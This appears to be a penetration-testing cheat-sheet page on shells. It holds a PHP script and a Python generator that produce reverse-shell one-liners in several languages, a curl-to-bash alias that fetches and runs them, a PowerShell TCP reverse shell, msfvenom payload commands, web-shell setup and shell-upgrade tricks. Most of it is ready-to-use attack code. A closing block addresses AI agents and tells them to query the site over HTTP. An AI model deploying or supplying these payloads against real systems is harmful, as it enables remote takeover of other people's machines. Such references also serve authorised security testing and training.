# Shells

## Reverse Shells

### Dynamic revshell

```php
<?php

$ip = isset($_GET['ip']) ? $_GET['ip'] : 'localhost';
$port = isset($_GET['port']) ? $_GET['port'] : '9001';

$xct = <<<EOT
if command -v python > /dev/null 2>&1; then
    python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("{$ip}",{$port})); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'
    exit;
fi

if command -v python3 > /dev/null 2>&1; then
    python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("{$ip}",{$port})); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'
    exit;
fi

if command -v nc > /dev/null 2>&1; then
    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {$ip} {$port} >/tmp/f
    exit;
fi

if command -v sh > /dev/null 2>&1; then
    /bin/sh -i >& /dev/tcp/{$ip}/{$port} 0>&1
    exit;
fi

if command -v php > /dev/null 2>&1; then
    php -r '$sock=fsockopen("{$ip}",{$port});exec("/bin/sh -i <&3 >&3 2>&3");'
    exit;
fi

if command -v ruby > /dev/null 2>&1; then
    ruby -rsocket -e'f=TCPSocket.open("{$ip}",{$port}).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
    exit;
fi

if command -v lua > /dev/null 2>&1; then
    lua -e "require('socket');require('os');t=socket.tcp();t:connect('{$ip}','{$port}');os.execute('/bin/sh -i <&3 >&3 2>&3');"
    exit;
EOT;

echo $xct;
?>
```

```bash
alias shell='f(){ curl "http://10.10.10.10/shell.php?ip=$1&port=$2"; }; f'

shell 192.168.10.10 9001|bash
```

### Python generator

```python
#!/usr/bin/env python3

import sys

if len(sys.argv) < 4:
    print("Usage: python3 xct.py <lhost> <lport> <filename>")
    sys.exit(0)

lhost = sys.argv[1]
lport = sys.argv[2]
fname = sys.argv[3]

xct = f'''
if command -v python > /dev/null 2>&1; then
     python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("{lhost}",{lport})); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'
    exit;
fi

if command -v python3 > /dev/null 2>&1; then
    python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("{lhost}",{lport})); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'
    exit;
fi

if command -v nc > /dev/null 2>&1; then
    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f
    exit;
fi

if command -v sh > /dev/null 2>&1; then
    /bin/sh -i >& /dev/tcp/{lhost}/{lport} 0>&1
    exit;
fi

if command -v php > /dev/null 2>&1; then
    php -r '$sock=fsockopen("{lhost}",{lport});exec("/bin/sh -i <&3 >&3 2>&3");'
    exit;
fi

if command -v ruby > /dev/null 2>&1; then
    ruby -rsocket -e'f=TCPSocket.open("$IP",$PORT).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
    exit;
fi

if command -v lua > /dev/null 2>&1; then
    lua -e "require('socket');require('os');t=socket.tcp();t:connect('{lhost}','{lport}');os.execute('/bin/sh -i <&3 >&3 2>&3');"
    exit;
'''

with open(fname, "w") as f:
    f.write(xct)
    f.close()
```

### Windows

{% tabs %}
{% tab title="Powershell" %}

```powershell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
```

{% endtab %}
{% endtabs %}

#### MSFvenom

{% tabs %}
{% tab title="List Payloads" %}

```bash
msfvenom -l payloads
```

{% endtab %}

{% tab title="Stageless Payloads" %}

```bash
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f elf > exploit.elf
```

```bash
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f exe > exploit.exe
```

{% endtab %}
{% endtabs %}

## Web Shells

{% tabs %}
{% tab title="Aspx" %}
Edit the following script to add our authorized IP address (line 59).

```bash
cp /usr/share/seclists/Web-Shells/laudanum-0.8/aspx/shell.aspx /home/qu35t/shell.aspx
```

```bash
cp /usr/share/nishang/Antak-WebShell/antak.aspx /home/qu35t/shell.aspx
```

{% endtab %}

{% tab title="Second Tab" %}

{% endtab %}
{% endtabs %}

Shell Upgrade

{% tabs %}
{% tab title="Python" %}

```bash
python -c 'import pty;pty.spawn("/bin/bash")'
[CTRL + Z]
stty raw -echo;fg
[ENTER (x2)]
export TERM=xterm
stty rows 33 cols 119
```

{% endtab %}

{% tab title="Python3" %}

```bash
python3 -c 'import pty;pty.spawn("/bin/bash")'
[CTRL + Z]
stty raw -echo;fg
[ENTER (x2)]
export TERM=xterm
stty rows 33 cols 119
```

{% endtab %}

{% tab title="Script" %}

```bash
script /dev/null -c bash
[CTRL + Z]
stty raw -echo;fg
[ENTER (x2)]
export TERM=xterm
stty rows 33 cols 119
```

{% endtab %}
{% endtabs %}

## Spawning Interactive Shells

{% tabs %}
{% tab title="Bash" %}

```bash
/bin/bash -i
```

{% endtab %}

{% tab title="Perl" %}

```bash
perl —e 'exec "/bin/bash";'
```

{% endtab %}

{% tab title="Ruby" %}

```bash
ruby -e 'exec "/bin/bash"'
```

{% endtab %}

{% tab title="Awk" %}

```bash
awk 'BEGIN {system("/bin/bash")}'
```

{% endtab %}

{% tab title="Find" %}

```bash
find . -exec /bin/bash \; -quit
```

{% endtab %}

{% tab title="Vim" %}

```bash
vim -c ':!/bin/bash'
```

```bash
vim
:set shell=/bin/bash
:shell
```

{% endtab %}
{% endtabs %}

## References

* [Nishang](https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.qu35t.pw/shells.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.